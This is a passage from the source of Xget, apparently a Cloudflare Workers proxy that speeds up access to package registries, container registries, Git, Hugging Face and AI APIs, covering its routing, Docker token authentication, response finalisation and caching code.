'cr-suse': 'https://registry.suse.com',
'cr-opensuse': 'https://registry.opensuse.org',
'cr-gitpod': 'https://registry.gitpod.io'
};
export const PLATFORMS = PLATFORM_CATALOG;
================================================
FILE: src/config/platforms.js
================================================
/**
* Compatibility exports for platform configuration and routing helpers.
*
* New code should prefer:
* - `src/config/platform-catalog.js` for base URL data
* - `src/routing/platform-index.js` for matching order
* - `src/routing/platform-transformers.js` for path normalization
*/
export { PLATFORM_CATALOG, PLATFORMS } from './platform-catalog.js';
export { SORTED_PLATFORMS } from '../routing/platform-index.js';
export { transformPath } from '../routing/platform-transformers.js';
================================================
FILE: src/index.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*/
import { handleRequest } from './app/handle-request.js';
export { handleRequest } from './app/handle-request.js';
export default {
/**
* Main Worker entry point.
* @param {Request} request
* @param {Record} env
* @param {ExecutionContext} ctx
*/
fetch(request, env, ctx) {
return handleRequest(request, env, ctx);
}
};
================================================
FILE: src/protocols/ai.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/**
* AI Inference protocol handler for Xget
*/
/**
* Detects if a request is for an AI inference provider API.
*
* Identifies AI inference requests by checking for:
* - AI provider path prefix (/ip/{provider}/...)
* - Common AI API endpoints (chat, completions, embeddings, etc.)
* - AI-specific URL patterns with JSON POST requests
* @param {Request} request - The incoming request object
* @param {URL} url - Parsed URL object
* @returns {boolean} True if this is an AI inference request
*/
export function isAIInferenceRequest(request, url) {
void request;
return url.pathname.startsWith('/ip/');
}
/**
* Configures headers for AI protocol requests.
*
* Sets Content-Type and User-Agent headers for AI inference requests.
* @param {Headers} headers - The headers object to modify
* @param {Request} request - The original request
*/
export function configureAIHeaders(headers, request) {
if (request.method === 'POST' && !headers.has('Content-Type')) {
headers.set('Content-Type', 'application/json');
}
if (!headers.has('User-Agent')) {
headers.set('User-Agent', 'Xget-AI-Proxy/1.0');
}
}
================================================
FILE: src/protocols/docker.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/**
* Docker/OCI Registry protocol handler for Xget
*/
import { SORTED_PLATFORMS } from '../routing/platform-index.js';
import { createErrorResponse } from '../utils/security.js';
/**
* Parses Docker/OCI registry WWW-Authenticate header.
*
* Extracts authentication realm and service information from the Bearer
* authentication challenge header returned by container registries.
* @param {string} authenticateStr - The WWW-Authenticate header value
* @returns {{realm: string, service: string}} Parsed authentication info with realm URL and service name
* @throws {Error} If the header format is invalid or missing required fields
*/
export function parseAuthenticate(authenticateStr) {
// sample: Bearer realm="https://auth.ipv6.docker.com/token",service="registry.docker.io"
const realmMatch = authenticateStr.match(/realm="([^"]+)"/);
const serviceMatch = authenticateStr.match(/service="([^"]+)"/);
if (!realmMatch || !serviceMatch) {
throw new Error(`invalid WWW-Authenticate header: ${authenticateStr}`);
}
return {
realm: realmMatch[1],
service: serviceMatch[1]
};
}
/**
* Fetches authentication token from container registry token service.
*
* Requests a Bearer token from the registry's authentication service,
* optionally including scope (repository permissions) and authorization credentials.
* @param {{realm: string, service: string}} wwwAuthenticate - Authentication info from WWW-Authenticate header
* @param {string} scope - The scope for the token (e.g., "repository:library/nginx:pull")
* @param {string} authorization - Authorization header value (optional, for authenticated access)
* @returns {Promise} Token response containing JWT token
*/
export async function fetchToken(wwwAuthenticate, scope, authorization) {
const url = new URL(wwwAuthenticate.realm);
if (wwwAuthenticate.service.length) {
url.searchParams.set('service', wwwAuthenticate.service);
}
if (scope) {
url.searchParams.set('scope', scope);
}
const headers = new Headers();
if (authorization) {
headers.set('Authorization', authorization);
}
return await fetch(url, { method: 'GET', headers });
}
/**
* Reads a bearer token from an upstream registry token response.
*
* Registry token services commonly return either `token` or `access_token`.
* Some registries also respond with an empty or malformed body on transient
* failures, so this parser fails closed and lets the caller fall back to the
* standard 401 challenge flow.
* @param {Response} response
* @returns {Promise} Resolved bearer token, or null when unavailable.
*/
export async function readRegistryTokenResponse(response) {
const rawBody = await response.text().catch(() => '');
if (!rawBody.trim()) {
return null;
}
try {
const parsed = JSON.parse(rawBody);
if (!parsed || typeof parsed !== 'object') {
return null;
}
const tokenValue =
'token' in parsed && typeof parsed.token === 'string'
? parsed.token
: 'access_token' in parsed && typeof parsed.access_token === 'string'
? parsed.access_token
: null;
return tokenValue;
} catch {
return null;
}
}
/**
* Parses the request URL to determine the appropriate Docker registry scope.
*
* Analyzes the path to extract the repository name and constructs a standard
* Docker scope string (repository:name:pull). Handles platform-specific
* path conventions and defaults.
* @param {URL} url - The request URL
* @param {string} effectivePath - The effective path after stripping prefixes
* @param {string} platform - The platform identifier (e.g., 'cr-docker')
* @returns {string} One of:
* - "repository:name:pull" for repository access
* - "registry:catalog:*" for catalog access
* - "" (empty string) if scope cannot be determined
*/
export function getScopeFromUrl(url, effectivePath, platform) {
void url;
const platformPrefix = `/${platform.replace(/-/g, '/')}/`;
// Check for catalog endpoint
if (effectivePath.includes('/_catalog')) {
return 'registry:catalog:*';
}
const apiPath = normalizeRegistryApiPath(
platform,
effectivePath.startsWith(platformPrefix)
? `/${effectivePath.slice(platformPrefix.length)}`
: effectivePath
);
const repoName = extractRepositoryPath(apiPath);
if (repoName) {
return `repository:${repoName}:pull`;
}
return '';
}
/**
* Normalizes Docker Hub official images to the canonical library namespace.
* @param {string} platformKey
* @param {string} repoPath
* @returns {string} Normalized upstream repository path.
*/
function normalizeRepoPath(platformKey, repoPath) {
if (platformKey === 'cr-docker' && repoPath && !repoPath.includes('/')) {
return `library/${repoPath}`;
}
return repoPath;
}
/**
* Extracts the repository path from a Docker registry API path.
* @param {string} apiPath
* @returns {string} Repository path without the `/v2/` prefix or operation suffix.
*/
function extractRepositoryPath(apiPath) {
const normalizedPath = apiPath.startsWith('/v2/')
? apiPath.slice(4)
: apiPath.replace(/^\/+/, '');
const pathParts = normalizedPath.split('/').filter(Boolean);
if (pathParts.length === 0 || pathParts[0].startsWith('_')) {
return '';
}
const suffixIndex = pathParts.findIndex(part =>
['manifests', 'blobs', 'tags', 'referrers'].includes(part)
);
if (suffixIndex <= 0) {
return '';
}
return pathParts.slice(0, suffixIndex).join('/');
}
/**
* Normalizes a Docker registry API path for upstream compatibility.
* @param {string} platformKey
* @param {string} apiPath
* @returns {string} Upstream API path with any registry-specific normalization applied.
*/
export function normalizeRegistryApiPath(platformKey, apiPath) {
if (platformKey !== 'cr-docker' || !apiPath.startsWith('/v2/')) {
return apiPath;
}
const repoPath = extractRepositoryPath(apiPath);
const normalizedRepoPath = normalizeRepoPath(platformKey, repoPath);
if (!repoPath || normalizedRepoPath === repoPath) {
return apiPath;
}
return apiPath.replace(`/v2/${repoPath}`, `/v2/${normalizedRepoPath}`);
}
/**
* Resolves the target registry and scope for Docker auth proxy requests.
* @param {URL} url
* @param {{ [key: string]: string }} platforms
* @returns {{ platformKey: string, upstreamScope: string }} Resolved auth target info.
*/
function resolveDockerAuthTarget(url, platforms) {
const scope = url.searchParams.get('scope') || '';
const pathMatch = url.pathname.match(/^\/cr\/([^/]+)\/v2\/auth\/?$/);
let platformKey = pathMatch ? `cr-${pathMatch[1]}` : '';
let repoPath = '';
let upstreamScope = scope;
if (scope) {
const parts = scope.split(':');
if (parts.length >= 3 && parts[0] === 'repository') {
const [, fullRepoPath] = parts;
if (fullRepoPath.startsWith('cr/')) {
for (const key of SORTED_PLATFORMS) {
if (!key.startsWith('cr-')) continue;
const prefix = key.replace(/-/g, '/');
if (fullRepoPath.startsWith(`${prefix}/`)) {
platformKey = key;
repoPath = fullRepoPath.slice(prefix.length + 1);
break;
}
}
} else {
repoPath = fullRepoPath;
}
repoPath = normalizeRepoPath(platformKey, repoPath);
upstreamScope = repoPath ? `repository:${repoPath}:${parts.slice(2).join(':')}` : scope;
}
}
if (!platformKey || !platforms[platformKey]) {
throw new Error('Unsupported registry platform in scope');
}
return { platformKey, upstreamScope };
}
/**
* Creates an unauthorized (401) response for container registry authentication.
*
* Generates a Docker/OCI registry-compliant 401 response with a WWW-Authenticate
* header that directs clients to the token authentication endpoint.
* @param {URL} url - Request URL used to construct authentication realm
* @param {string} platform - Registry platform key (e.g. cr-ghcr)
* @returns {Response} Unauthorized response with WWW-Authenticate header
*/
export function responseUnauthorized(url, platform) {
const realmPath = platform ? `/cr/${platform.slice(3)}/v2/auth` : '/v2/auth';
const headers = new Headers();
headers.set('Content-Type', 'application/json');
headers.set('WWW-Authenticate', `Bearer realm="${url.origin}${realmPath}",service="Xget"`);
return new Response(
JSON.stringify({
errors: [
{
code: 'UNAUTHORIZED',
message: 'authentication required',
detail: null
}
]
}),
{
status: 401,
headers
}
);
}
/**
* Handles the special /v2/auth endpoint for Docker authentication.
*
* Proxies generation of auth tokens by negotiating with the upstream registry.
* @param {Request} request - The incoming request
* @param {URL} url - The parsed URL
* @param {import('../config/index.js').ApplicationConfig} config - App configuration
* @returns {Promise} The response (token or error)
*/
export async function handleDockerAuth(request, url, config) {
let target;
try {
target = resolveDockerAuthTarget(url, config.PLATFORMS);
} catch (error) {
// Log internal error details server-side without exposing them to the client
console.error('Failed to resolve Docker auth target:', error);
// Return a generic error response to avoid leaking implementation details
return createErrorResponse('Invalid Docker authentication request', 400);
}
const upstreamUrl = config.PLATFORMS[target.platformKey];
const authorization = request.headers.get('Authorization');
// 1. Fetch the upstream root (v2) to get the proper realm and service
// We use the upstream URL + /v2/
const v2Url = new URL(`${upstreamUrl}/v2/`);
const v2Resp = await fetch(v2Url.toString(), {
method: 'GET',
redirect: 'follow'
});
if (v2Resp.status !== 401) {
// If not 401, maybe no auth needed? Or error.
// Just forward the response?
return v2Resp;
}
const authenticateStr = v2Resp.headers.get('WWW-Authenticate');
if (authenticateStr === null) {
return v2Resp;
}
const wwwAuthenticate = parseAuthenticate(authenticateStr);
// 3. Fetch the token from the upstream realm
return await fetchToken(wwwAuthenticate, target.upstreamScope, authorization || '');
}
================================================
FILE: src/protocols/git.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/**
* Git protocol handler for Xget
*/
/**
* Detects if a request is a Git protocol operation.
*
* Identifies Git requests by checking for:
* - Git-specific endpoints (/info/refs, /git-upload-pack, /git-receive-pack)
* - Git User-Agent headers
* - Git service query parameters
* - Git-specific Content-Type headers
* @param {Request} request - The incoming request object
* @param {URL} url - Parsed URL object
* @returns {boolean} True if this is a Git operation
*/
export function isGitRequest(request, url) {
// Check for Git-specific endpoints
if (url.pathname.endsWith('/info/refs')) {
return true;
}
if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) {
return true;
}
// Check for Git user agents (more comprehensive check)
const userAgent = request.headers.get('User-Agent') || '';
if (userAgent.includes('git/') || userAgent.startsWith('git/')) {
return true;
}
// Check for Git-specific query parameters
if (url.searchParams.has('service')) {
const service = url.searchParams.get('service');
return service === 'git-upload-pack' || service === 'git-receive-pack';
}
// Check for Git-specific content types
const contentType = request.headers.get('Content-Type') || '';
if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) {
return true;
}
return false;
}
/**
* Detects if a request is a Git LFS (Large File Storage) operation.
*
* Identifies Git LFS requests by checking for:
* - LFS-specific endpoints (/info/lfs, /objects/batch)
* - LFS object storage paths (SHA-256 hash patterns)
* - Git LFS Accept/Content-Type headers
* - Git LFS User-Agent
* @param {Request} request - The incoming request object
* @param {URL} url - Parsed URL object
* @returns {boolean} True if this is a Git LFS operation
*/
export function isGitLFSRequest(request, url) {
// Check for LFS-specific endpoints
if (url.pathname.includes('/info/lfs')) {
return true;
}
if (url.pathname.includes('/objects/batch')) {
return true;
}
// Check for LFS object storage endpoints (SHA-256 hash is 64 hex characters)
if (url.pathname.match(/\/objects\/[a-fA-F0-9]{64}$/)) {
return true;
}
// Check for LFS-specific headers
const accept = request.headers.get('Accept') || '';
const contentType = request.headers.get('Content-Type') || '';
if (
accept.includes('application/vnd.git-lfs') ||
contentType.includes('application/vnd.git-lfs')
) {
return true;
}
// Check for LFS user agent
const userAgent = request.headers.get('User-Agent') || '';
if (userAgent.includes('git-lfs')) {
return true;
}
return false;
}
/**
* Configures headers for Git protocol requests.
*
* Sets User-Agent and Content-Type headers required by Git and Git LFS protocols.
* @param {Headers} headers - The headers object to modify
* @param {Request} request - The original request
* @param {URL} url - The parsed URL
* @param {boolean} isLFS - Whether this is an LFS request
*/
export function configureGitHeaders(headers, request, url, isLFS) {
if (!isLFS) {
// Standard Git protocol
if (!headers.has('User-Agent')) {
headers.set('User-Agent', 'git/2.34.1');
}
if (request.method === 'POST' && url.pathname.endsWith('/git-upload-pack')) {
if (!headers.has('Content-Type')) {
headers.set('Content-Type', 'application/x-git-upload-pack-request');
}
}
if (request.method === 'POST' && url.pathname.endsWith('/git-receive-pack')) {
if (!headers.has('Content-Type')) {
headers.set('Content-Type', 'application/x-git-receive-pack-request');
}
}
} else {
// Git LFS protocol
if (!headers.has('User-Agent')) {
headers.set('User-Agent', 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)');
}
if (url.pathname.includes('/objects/batch')) {
if (!headers.has('Accept')) {
headers.set('Accept', 'application/vnd.git-lfs+json');
}
if (request.method === 'POST' && !headers.has('Content-Type')) {
headers.set('Content-Type', 'application/vnd.git-lfs+json');
}
}
if (url.pathname.match(/\/objects\/[a-fA-F0-9]{64}$/)) {
if (!headers.has('Accept')) {
headers.set('Accept', 'application/octet-stream');
}
}
}
}
================================================
FILE: src/protocols/huggingface.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/**
* Hugging Face protocol handler for Xget
*/
/**
* Detects if a request is a Hugging Face API operation.
*
* Identifies Hugging Face API requests by checking for:
* - Hugging Face platform prefix (/hf/)
* - API path segment (/api/)
* @param {Request} request - The incoming request object
* @param {URL} url - Parsed URL object
* @returns {boolean} True if this is a Hugging Face API operation
*/
export function isHuggingFaceAPIRequest(request, url) {
// Check for Hugging Face API endpoints
if (url.pathname.startsWith('/hf/api/')) {
return true;
}
// Also check for token endpoint which is often used
if (url.pathname.startsWith('/hf/token')) {
return true;
}
return false;
}
/**
* Configures headers for Hugging Face API requests.
* @param {Headers} headers - The headers object to modify
* @param {Request} request - The original request
*/
export function configureHuggingFaceHeaders(headers, request) {
const authHeader = request.headers.get('Authorization');
if (authHeader) {
headers.set('Authorization', authHeader);
}
if (request.method === 'POST' && !headers.has('Content-Type')) {
headers.set('Content-Type', 'application/json');
}
}
================================================
FILE: src/response/finalize-response.js
================================================
import {
isFlatpakReferenceFilePath,
rewriteTextResponse,
shouldRewriteTextResponse
} from '../utils/rewrite.js';
import { addSecurityHeaders, createErrorResponse } from '../utils/security.js';
/**
* Wraps an unsuccessful upstream response into the user-facing error contract.
* @param {{
* effectivePath: string,
* platform: string,
* request: Request,
* requestContext: {
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean
* },
* response: Response,
* responseGeneratedLocally: boolean,
* url: URL
* }} options
* @returns {Promise} Final error response.
*/
async function finalizeErrorResponse({ requestContext, response, responseGeneratedLocally }) {
if (responseGeneratedLocally || response.ok || response.status === 206) {
return response;
}
if (requestContext.isDocker && response.status === 401) {
if (!response.headers.has('WWW-Authenticate')) {
const isCustomError =
response.headers.get('content-type') === 'application/json' &&
(await response.clone().text()).includes('UNAUTHORIZED');
if (!isCustomError) {
const errorText = await response.text().catch(() => '');
return createErrorResponse(
`Authentication required for this container registry resource. This may be a private repository. Original error: ${errorText}`,
401,
true
);
}
}
return response;
}
const errorText = await response.text().catch(() => 'Unknown error');
return createErrorResponse(
`Upstream server error (${response.status}): ${errorText}`,
response.status,
true
);
}
/**
* Finalizes a successful upstream response, including rewriting, cache headers, and background cache writes.
* @param {{
* cache: Cache | null,
* cacheTargetUrl: string,
* canUseCache: boolean,
* config: import('../config/index.js').ApplicationConfig,
* ctx: ExecutionContext,
* effectivePath: string,
* hasSensitiveHeaders: boolean,
* monitor: import('../utils/performance.js').PerformanceMonitor,
* platform: string,
* request: Request,
* requestContext: {
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean
* },
* response: Response,
* url: URL
* }} options
* @returns {Promise} Final proxied response.
*/
async function finalizeSuccessfulResponse({
cache,
cacheTargetUrl,
canUseCache,
config,
ctx,
effectivePath,
hasSensitiveHeaders,
monitor,
platform,
request,
requestContext,
response,
url
}) {
const { isAI, isDocker, isGit, isGitLFS, isHF } = requestContext;
/** @type {string | ReadableStream | null} */
let responseBody = response.body;
let rewrittenContentLength = null;
let hasOriginBoundRewrite = false;
if (
shouldRewriteTextResponse(platform, effectivePath, response.headers.get('content-type') || '')
) {
const originalText =
platform === 'flathub' && isFlatpakReferenceFilePath(effectivePath)
? new TextDecoder().decode(await response.arrayBuffer())
: await response.text();
const rewrittenText = rewriteTextResponse(platform, effectivePath, originalText, url.origin);
responseBody = rewrittenText;
rewrittenContentLength = new TextEncoder().encode(rewrittenText).byteLength;
hasOriginBoundRewrite = platform === 'pypi';
}
const headers = new Headers(response.headers);
if (rewrittenContentLength !== null) {
headers.set('Content-Length', String(rewrittenContentLength));
}
if (!isGit && !isGitLFS && !isDocker && !isAI && !isHF) {
if (!canUseCache || hasOriginBoundRewrite) {
headers.set('Cache-Control', 'no-store');
} else if (hasSensitiveHeaders) {
headers.set('Cache-Control', 'private, no-store');
const existingVary = headers.get('Vary');
headers.set(
'Vary',
existingVary ? `${existingVary}, Authorization, Cookie` : 'Authorization, Cookie'
);
} else {
headers.set('Cache-Control', `public, max-age=${config.CACHE_DURATION}`);
}
headers.set('X-Content-Type-Options', 'nosniff');
headers.set('Accept-Ranges', 'bytes');
if (!headers.has('Content-Length') && response.status === 200) {
try {
const contentLength = response.headers.get('Content-Length');
if (contentLength) {
headers.set('Content-Length', contentLength);
}
} catch (error) {
console.warn('Could not set Content-Length header:', error);
}
}
addSecurityHeaders(headers);
}
let finalizedResponse = new Response(responseBody, {
status: response.status,
headers
});
if (
cache &&
!isGit &&
!isGitLFS &&
!isDocker &&
!isAI &&
!isHF &&
!hasOriginBoundRewrite &&
!hasSensitiveHeaders &&
request.method === 'GET' &&
finalizedResponse.ok &&
finalizedResponse.status === 200
) {
const rangeHeader = request.headers.get('Range');
const cacheKey = rangeHeader
? new Request(cacheTargetUrl, {
method: 'GET',
headers: new Headers(
[...request.headers.entries()].filter(([key]) => key.toLowerCase() !== 'range')
)
})
: new Request(cacheTargetUrl, { method: 'GET' });
try {
if (ctx && typeof ctx.waitUntil === 'function') {
ctx.waitUntil(cache.put(cacheKey, finalizedResponse.clone()));
} else {
cache.put(cacheKey, finalizedResponse.clone()).catch(error => {
console.warn('Cache put failed:', error);
});
}
if (rangeHeader && finalizedResponse.status === 200) {
const rangedResponse = await cache.match(
new Request(cacheTargetUrl, {
method: 'GET',
headers: request.headers
})
);
if (rangedResponse) {
monitor.mark('range_cache_hit_after_full_cache');
finalizedResponse = rangedResponse;
}
}
} catch (cacheError) {
console.warn('Cache put/match failed:', cacheError);
}
}
return finalizedResponse;
}
/**
* Finalizes the upstream response after cache lookup and fetch execution.
* @param {{
* cache: Cache | null,
* cacheTargetUrl: string,
* canUseCache: boolean,
* config: import('../config/index.js').ApplicationConfig,
* ctx: ExecutionContext,
* effectivePath: string,
* hasSensitiveHeaders: boolean,
* monitor: import('../utils/performance.js').PerformanceMonitor,
* platform: string,
* request: Request,
* requestContext: {
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean
* },
* response: Response,
* responseGeneratedLocally: boolean,
* url: URL
* }} options
* @returns {Promise} Final response returned to the client.
*/
export async function finalizeResponse({
cache,
cacheTargetUrl,
canUseCache,
config,
ctx,
effectivePath,
hasSensitiveHeaders,
monitor,
platform,
request,
requestContext,
response,
responseGeneratedLocally,
url
}) {
const errorResponse = await finalizeErrorResponse({
effectivePath,
platform,
request,
requestContext,
response,
responseGeneratedLocally,
url
});
if (errorResponse !== response || !errorResponse.ok) {
return errorResponse;
}
return await finalizeSuccessfulResponse({
cache,
cacheTargetUrl,
canUseCache,
config,
ctx,
effectivePath,
hasSensitiveHeaders,
monitor,
platform,
request,
requestContext,
response: errorResponse,
url
});
}
================================================
FILE: src/routing/platform-index.js
================================================
import { PLATFORM_CATALOG } from '../config/platform-catalog.js';
/**
* Converts a platform key into its matching URL prefix.
* @param {string} platformKey
* @returns {string} Platform prefix, for example `/ip/openai/`.
*/
export function getPlatformPathPrefix(platformKey) {
return `/${platformKey.replace(/-/g, '/')}/`;
}
/**
* Pre-computed sorted platform keys for efficient path matching.
*/
export const SORTED_PLATFORMS = Object.keys(PLATFORM_CATALOG).sort((a, b) => {
return getPlatformPathPrefix(b).length - getPlatformPathPrefix(a).length;
});
================================================
FILE: src/routing/platform-transformers.js
================================================
import { PLATFORM_CATALOG } from '../config/platform-catalog.js';
import { getPlatformPathPrefix } from './platform-index.js';
/**
* Escapes a string for safe use inside a regular expression.
* @param {string} value
* @returns {string} Escaped string.
*/
function escapeRegex(value) {
return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
/**
* Removes the platform prefix from a request path.
* @param {string} path
* @param {string} platformKey
* @returns {string} Path without the leading platform segment.
*/
function stripPlatformPrefix(path, platformKey) {
const prefix = getPlatformPathPrefix(platformKey);
return path.replace(new RegExp(`^${escapeRegex(prefix)}`), '/');
}
/**
* Applies crates.io-specific API path normalization.
* @param {string} transformedPath
* @returns {string} Normalized crates.io API path.
*/
function transformCratesPath(transformedPath) {
if (!transformedPath.startsWith('/')) {
return transformedPath;
}
if (transformedPath === '/' || transformedPath.startsWith('/?')) {
return transformedPath.replace('/', '/api/v1/crates');
}
return `/api/v1/crates${transformedPath}`;
}
/**
* Applies Jenkins update-center path normalization.
* @param {string} transformedPath
* @returns {string} Normalized Jenkins path.
*/
function transformJenkinsPath(transformedPath) {
if (!transformedPath.startsWith('/')) {
return transformedPath;
}
if (transformedPath === '/update-center.json') {
return '/current/update-center.json';
}
if (transformedPath === '/update-center.actual.json') {
return '/current/update-center.actual.json';
}
if (
transformedPath.startsWith('/experimental/') ||
transformedPath.startsWith('/download/') ||
transformedPath.startsWith('/current/')
) {
return transformedPath;
}
return `/current${transformedPath}`;
}
/** @type {{ [key: string]: (transformedPath: string) => string }} */
const PLATFORM_PATH_TRANSFORMERS = {
crates: transformCratesPath,
jenkins: transformJenkinsPath
};
/**
* Converts a routed request path into the upstream path expected by the platform.
* @param {string} path
* @param {string} platformKey
* @returns {string} Upstream-ready request path.
*/
export function transformPath(path, platformKey) {
if (!PLATFORM_CATALOG[platformKey]) {
return path;
}
const transformedPath = stripPlatformPrefix(path, platformKey);
const transformPlatformPath = PLATFORM_PATH_TRANSFORMERS[platformKey];
return transformPlatformPath ? transformPlatformPath(transformedPath) : transformedPath;
}
================================================
FILE: src/routing/resolve-target.js
================================================
import { SORTED_PLATFORMS } from './platform-index.js';
import { transformPath } from './platform-transformers.js';
import { normalizeRegistryApiPath } from '../protocols/docker.js';
import { isFlatpakReferenceFilePath } from '../utils/rewrite.js';
import { createErrorResponse } from '../utils/security.js';
export const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget';
/**
* Creates the canonical homepage redirect response.
* @returns {Response} Redirect response to the Xget homepage.
*/
export function createHomepageRedirect() {
return Response.redirect(HOME_PAGE_URL, 302);
}
/**
* Normalizes request paths before platform routing.
* @param {URL} url
* @param {boolean} isDocker
* @returns {{ effectivePath: string } | { response: Response }} Normalized path or an early error response.
*/
export function normalizeEffectivePath(url, isDocker) {
let effectivePath = url.pathname;
if (!isDocker) {
return { effectivePath };
}
if (
!url.pathname.startsWith('/cr/') &&
!url.pathname.startsWith('/v2/cr/') &&
url.pathname !== '/v2/auth'
) {
return {
response: createErrorResponse('container registry requests must use /cr/ prefix', 400)
};
}
effectivePath = url.pathname.replace(/^\/v2/, '');
if (url.pathname.startsWith('/v2/cr/')) {
effectivePath = effectivePath.replace(/^\/cr\/([^/]+)\//, '/cr/$1/v2/');
}
return { effectivePath };
}
/**
* Resolves an effective request path to an upstream target URL.
* @param {URL} url
* @param {string} effectivePath
* @param {{ [key: string]: string }} platforms
* @returns {{
* cacheTargetUrl: string,
* platform: string,
* shouldVaryCacheByOrigin: boolean,
* targetPath: string,
* targetUrl: string
* } | { response: Response }} Target metadata or an early redirect response.
*/
export function resolveTarget(url, effectivePath, platforms) {
const platform =
SORTED_PLATFORMS.find(key => {
const expectedPrefix = `/${key.replace('-', '/')}/`;
return effectivePath.startsWith(expectedPrefix);
}) || effectivePath.split('/')[1];
if (!platform || !platforms[platform]) {
return { response: createHomepageRedirect() };
}
const platformPath = `/${platform.replace(/-/g, '/')}`;
if (effectivePath === platformPath || effectivePath === `${platformPath}/`) {
return { response: createHomepageRedirect() };
}
const transformedPath = transformPath(effectivePath, platform);
const targetPath = platform.startsWith('cr-')
? normalizeRegistryApiPath(platform, transformedPath)
: transformedPath;
const targetUrl = `${platforms[platform]}${targetPath}${url.search}`;
const shouldVaryCacheByOrigin =
platform === 'flathub' && isFlatpakReferenceFilePath(effectivePath);
const cacheTargetUrl = shouldVaryCacheByOrigin
? `${targetUrl}${targetUrl.includes('?') ? '&' : '?'}__xget_origin=${encodeURIComponent(url.origin)}`
: targetUrl;
return {
cacheTargetUrl,
platform,
shouldVaryCacheByOrigin,
targetPath,
targetUrl
};
}
================================================
FILE: src/types.d.ts
================================================
/**
* Global type declarations for Cloudflare Workers
*/
/**
* Cloudflare Workers execution context
* Provides methods for managing background tasks
*/
interface ExecutionContext {
/**
* Extend the lifetime of the request handler
* @param promise - Promise to wait for in the background
*/
waitUntil(promise: Promise): void;
/**
* Prevent request from failing if an exception is thrown
*/
passThroughOnException(): void;
}
interface DenoEnv {
/**
* Reads an environment variable from Deno Deploy.
* @param name - Environment variable name
*/
get(name: string): string | undefined;
}
interface DenoGlobal {
env: DenoEnv;
/**
* Starts the Deno Deploy HTTP server.
* @param handler - Request handler callback
*/
serve(handler: (request: Request) => Promise | Response): void;
}
declare const Deno: DenoGlobal;
================================================
FILE: src/upstream/cache.js
================================================
/**
* Cache helpers for upstream request handling.
*/
/**
* Reads the default Cloudflare cache when available.
* @returns {Cache | null} Default runtime cache, or null when unavailable.
*/
export function getDefaultCache() {
// @ts-ignore - Cloudflare Workers cache API
return typeof caches !== 'undefined' && /** @type {any} */ (caches).default // eslint-disable-line jsdoc/reject-any-type
? // @ts-ignore - Cloudflare Workers cache API
/** @type {any} */ (caches).default // eslint-disable-line jsdoc/reject-any-type
: null;
}
/**
* Attempts to satisfy a request from cache before reaching the upstream.
* @param {{
* cache: Cache | null,
* cacheTargetUrl: string,
* canUseCache: boolean,
* hasSensitiveHeaders: boolean,
* monitor: import('../utils/performance.js').PerformanceMonitor,
* request: Request,
* requestContext: {
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean
* }
* }} options
* @returns {Promise} Cached response when one can be reused, otherwise null.
*/
export async function tryReadCachedResponse({
cache,
cacheTargetUrl,
canUseCache,
hasSensitiveHeaders,
monitor,
request,
requestContext
}) {
const { isAI, isDocker, isGit, isGitLFS, isHF } = requestContext;
if (
!cache ||
!canUseCache ||
isGit ||
isGitLFS ||
isDocker ||
isAI ||
isHF ||
hasSensitiveHeaders
) {
return null;
}
try {
const cacheKey = new Request(cacheTargetUrl, {
method: 'GET',
headers: request.headers
});
const cachedResponse = await cache.match(cacheKey);
if (cachedResponse) {
monitor.mark('cache_hit');
return cachedResponse;
}
const rangeHeader = request.headers.get('Range');
if (!rangeHeader) {
return null;
}
const fullContentKey = new Request(cacheTargetUrl, {
method: 'GET',
headers: new Headers(
[...request.headers.entries()].filter(([key]) => key.toLowerCase() !== 'range')
)
});
